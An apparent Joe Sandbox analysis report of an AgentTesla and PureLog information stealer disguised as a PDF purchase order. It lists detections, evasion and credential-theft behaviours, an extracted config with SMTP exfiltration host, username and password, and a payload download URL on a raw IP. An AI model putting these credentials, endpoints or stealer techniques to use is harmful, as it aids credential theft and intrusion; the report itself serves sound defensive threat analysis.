Edit tour

Windows Analysis Report
New order -24900242 OP_pdf .exe

Overview

General Information

Sample name:	New order -24900242 OP_pdf .exe
Analysis ID:	1424345
MD5:	deb84c3c4ea80ce056fa8a91952d8644
SHA1:	e6b08d62c2d9ad447b1654941b8dd6abece5f20e
SHA256:	fedd8446497c630316353017fe0792b158476a2fb5b7994fe5c28cfe6a830e98
Tags:	exe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension File Execution

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (a lot of spaces)

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

New order -24900242 OP_pdf .exe (PID: 7120 cmdline: "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe" MD5: DEB84C3C4EA80CE056FA8A91952D8644)

New order -24900242 OP_pdf .exe (PID: 4332 cmdline: "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe" MD5: DEB84C3C4EA80CE056FA8A91952D8644)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.creolupatoto.it", "Username": "stefania.adimari@creolupatoto.it", "Password": "lupat22newveneto!"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
New order -24900242 OP_pdf .exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2439632203.0000000006330000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2428175069.000000000487B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2435951249.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2428175069.0000000004179000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: New order -24900242 OP_pdf .exe PID: 4332	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: New order -24900242 OP_pdf .exe PID: 4332	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.New order -24900242 OP_pdf .exe.6d61038.15.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.0.New order -24900242 OP_pdf .exe.a90000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.New order -24900242 OP_pdf .exe.6330000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31733:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x317a5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3182f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x318c1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3192b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3199d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31a33:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31ac3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.New order -24900242 OP_pdf .exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.New order -24900242 OP_pdf .exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.New order -24900242 OP_pdf .exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33533:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x335a5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3362f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x336c1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3372b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3379d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33833:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x338c3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x410ff:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41171:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x411fb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4128d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x412f7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x41369:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x413ff:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4148f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33533:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x335a5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3362f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x336c1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3372b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3379d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33833:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x338c3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x42eff:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x42f71:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42ffb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4308d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x430f7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x43169:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x431ff:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4328f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.New order -24900242 OP_pdf .exe.5db0000.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.43a3c18.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.43cbc38.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.487bcb8.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.487bcb8.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.5db0000.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.43cbc38.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.New order -24900242 OP_pdf .exe.43a3c18.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 21 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe", CommandLine: "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe", CommandLine|base64offset|contains: ^, Image: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe, NewProcessName: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe, OriginalFileName: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe", ProcessId: 7120, ProcessName: New order -24900242 OP_pdf .exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.169.24.118, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe, Initiated: true, ProcessId: 4332, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49714

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.creolupatoto.it", "Username": "stefania.adimari@creolupatoto.it", "Password": "lupat22newveneto!"}

Multi AV Scanner detection for submitted file

Source: New order -24900242 OP_pdf .exe	ReversingLabs: Detection: 18%
Source: New order -24900242 OP_pdf .exe	Virustotal: Detection: 37%			Perma Link

Machine Learning detection for sample

Source: New order -24900242 OP_pdf .exe

Joe Sandbox ML: detected

Source: New order -24900242 OP_pdf .exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.5:49713 version: TLS 1.2

Source: New order -24900242 OP_pdf .exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004AAE000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2439957868.00000000063A0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004B65000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004AAE000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2439957868.00000000063A0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004B65000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h		0_2_04DBB730
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h		0_2_04DBB729

Networking

Yara detected Generic Downloader

Source: Yara match	File source: New order -24900242 OP_pdf .exe, type: SAMPLE
Source: Yara match	File source: 0.0.New order -24900242 OP_pdf .exe.a90000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49714 -> 185.169.24.118:587

Source: global traffic

HTTP traffic detected: GET /GRANADA/Znusl.vdf HTTP/1.1Host: 103.74.105.78Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.5:49714 -> 185.169.24.118:587

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 103.74.105.78

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /GRANADA/Znusl.vdf HTTP/1.1Host: 103.74.105.78Connection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.74.105.78
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.74.105.78/GRANADA/Znusl.vdf
Source: New order -24900242 OP_pdf .exe	String found in binary or memory: http://103.74.105.78/GRANADA/Znusl.vdf1eObNHCDLBXwj6P8DEbpy/A==
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0-
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sasl116.shellrent.com
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.creolupatoto.it
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3231373178.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
